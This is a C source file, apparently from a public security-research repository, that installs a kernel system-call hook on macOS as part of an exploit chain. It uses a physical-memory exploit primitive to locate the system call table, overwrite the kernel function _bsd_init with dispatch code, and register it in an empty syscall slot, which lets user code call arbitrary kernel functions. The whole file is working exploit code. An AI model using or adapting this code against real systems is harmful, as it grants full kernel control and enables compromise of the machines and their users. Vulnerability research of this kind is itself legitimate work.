-
Notifications
You must be signed in to change notification settings - Fork 13
/
syscall_hook.c
190 lines (179 loc) · 6.06 KB
/
syscall_hook.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
/*
* syscall_hook.c
* Brandon Azad
*
* A system call hook allowing arbitrary kernel functions to be called with up to 5 arguments.
*
* The physmem exploit makes installing the syscall hook trivial: we don't even need to worry about
* memory protections on the kernel TEXT segment because the memory is mapped writable by
* IOPCIDiagnosticsClient.
*/
#include "syscall_hook.h"
#include "fail.h"
#include "kernel_image.h"
#include "physmem.h"
#include "syscall_code.h"
#include <stddef.h>
#define _SYSCALL_RET_NONE 0
#define _SYSCALL_RET_INT_T 1
#define _SYSCALL_RET_SSIZE_T 6
#define _SYSCALL_RET_UINT64_T 7
/*
* struct syscall_hook
*
* Description:
* The state needed to install a system call hook.
*/
struct syscall_hook {
// The location of the sysent table in kernel memory.
uint64_t sysent;
// The target function address.
uint64_t function;
// The original contents of the memory at the target function address.
uint64_t *original;
// The number of 64-bit words at the start of the target function that were overwritten.
size_t count;
// The address of _nosys in the kernel.
uint64_t _nosys;
};
/*
* struct sysent
*
* Description:
* An entry in the system call table.
*/
struct sysent {
uint64_t sy_call;
uint64_t sy_munge;
int32_t sy_return_type;
int16_t sy_narg;
uint16_t sy_arg_bytes;
};
extern int kernel_dispatch(void *p, uint64_t arg[6], uint64_t *ret);
extern void kernel_dispatch_end(void);
/*
* syscall_hook
*
* Description:
* The global syscall hook.
*/
static struct syscall_hook syscall_hook;
/*
* target_function
*
* Description:
* The target function that will be overwritten to install the syscall hook.
*/
static const char target_function[] = "_bsd_init";
/*
* find_sysent
*
* Description:
* Find the system call table.
*/
static void find_sysent() {
// Resolve the various symbols we need.
uint64_t _nosys = kernel_symbol("_nosys") - kernel_slide;
uint64_t _exit = kernel_symbol("_exit") - kernel_slide;
uint64_t _fork = kernel_symbol("_fork") - kernel_slide;
uint64_t _read = kernel_symbol("_read") - kernel_slide;
uint64_t _write = kernel_symbol("_write") - kernel_slide;
uint64_t _munge_w = kernel_symbol("_munge_w") - kernel_slide;
uint64_t _munge_www = kernel_symbol("_munge_www") - kernel_slide;
// Find the runtime address of the system call table.
struct sysent sysent_init[] = {
{ _nosys, 0, _SYSCALL_RET_INT_T, 0, 0 },
{ _exit, _munge_w, _SYSCALL_RET_NONE, 1, 4 },
{ _fork, 0, _SYSCALL_RET_INT_T, 0, 0 },
{ _read, _munge_www, _SYSCALL_RET_SSIZE_T, 3, 12 },
{ _write, _munge_www, _SYSCALL_RET_SSIZE_T, 3, 12 },
};
uint64_t sysent = kernel_search(sysent_init, sizeof(sysent_init));
// Check that the sysent in the kernel matches what we expect.
for (unsigned i = 0; i < sizeof(sysent_init) / sizeof(sysent_init[0]); i++) {
sysent_init[i].sy_call += kernel_slide;
if (sysent_init[i].sy_munge != 0) {
sysent_init[i].sy_munge += kernel_slide;
}
}
uint64_t sysent_data;
for (unsigned i = 0; i < sizeof(sysent_init) / sizeof(sysent_data); i++) {
sysent_data = kern_read(sysent + i * sizeof(sysent_data), sizeof(sysent_data));
if (sysent_data != ((uint64_t *)sysent_init)[i]) {
FAIL("kernel sysent data mismatch");
}
}
syscall_hook.sysent = sysent;
syscall_hook._nosys = _nosys + kernel_slide;
}
void syscall_hook_install() {
if (syscall_hook.sysent == 0) {
find_sysent();
}
uint64_t function = kernel_symbol(target_function);
const uintptr_t hook = (uintptr_t)kernel_dispatch;
const size_t hook_size = (uintptr_t)kernel_dispatch_end - hook;
// Check that the target syscall can be overwritten.
uint64_t target_sysent = syscall_hook.sysent + SYSCALL_CODE * sizeof(struct sysent);
uint64_t target_sy_call = kern_read(target_sysent + offsetof(struct sysent, sy_call),
sizeof(target_sy_call));
if (target_sy_call != syscall_hook._nosys) {
FAIL("target syscall is not empty");
}
// Read the original data from the target function.
syscall_hook.count = (hook_size + sizeof(uint64_t) - 1) & ~sizeof(uint64_t);
syscall_hook.original = malloc(syscall_hook.count * sizeof(uint64_t));
if (syscall_hook.original == NULL) {
FAIL("malloc failed");
}
for (unsigned i = 0; i < syscall_hook.count; i++) {
syscall_hook.original[i] = kern_read(function + i * sizeof(uint64_t),
sizeof(uint64_t));
}
// Overwrite the target function. We do this first so that if we fail partway through we
// don't leave the system with an unstable syscall.
for (unsigned i = 0; i < syscall_hook.count; i++) {
kern_write(function + i * sizeof(uint64_t), *((uint64_t *)hook + i),
sizeof(uint64_t));
}
// Overwrite the sysent. We do this in reverse order so that if we fail partway through we
// don't leave the system with an unstable syscall.
struct sysent hook_sysent = {
.sy_call = function,
.sy_munge = 0,
.sy_return_type = _SYSCALL_RET_UINT64_T,
.sy_narg = 6,
.sy_arg_bytes = 48,
};
for (int i = sizeof(hook_sysent) / sizeof(uint64_t) - 1; i >= 0; i--) {
kern_write(target_sysent + i * sizeof(uint64_t), *((uint64_t *)&hook_sysent + i),
sizeof(uint64_t));
}
syscall_hook.function = function;
}
void syscall_hook_remove() {
if (syscall_hook.function == 0) {
return;
}
// Replace our sysent hook with an empty sysent.
uint64_t target_sysent = syscall_hook.sysent + SYSCALL_CODE * sizeof(struct sysent);
struct sysent empty_sysent = {
.sy_call = syscall_hook._nosys,
.sy_munge = 0,
.sy_return_type = _SYSCALL_RET_INT_T,
.sy_narg = 0,
.sy_arg_bytes = 0,
};
unsigned empty_sysent_count = sizeof(empty_sysent) / sizeof(uint64_t);
for (unsigned i = 0; i < empty_sysent_count; i++) {
kern_write(target_sysent + i * sizeof(uint64_t), *((uint64_t *)&empty_sysent + i),
sizeof(uint64_t));
}
// Replace the original contents of the function we overwrote.
for (unsigned i = 0; i < syscall_hook.count; i++) {
kern_write(syscall_hook.function + i * sizeof(uint64_t), syscall_hook.original[i],
sizeof(uint64_t));
}
free(syscall_hook.original);
syscall_hook.function = 0;
}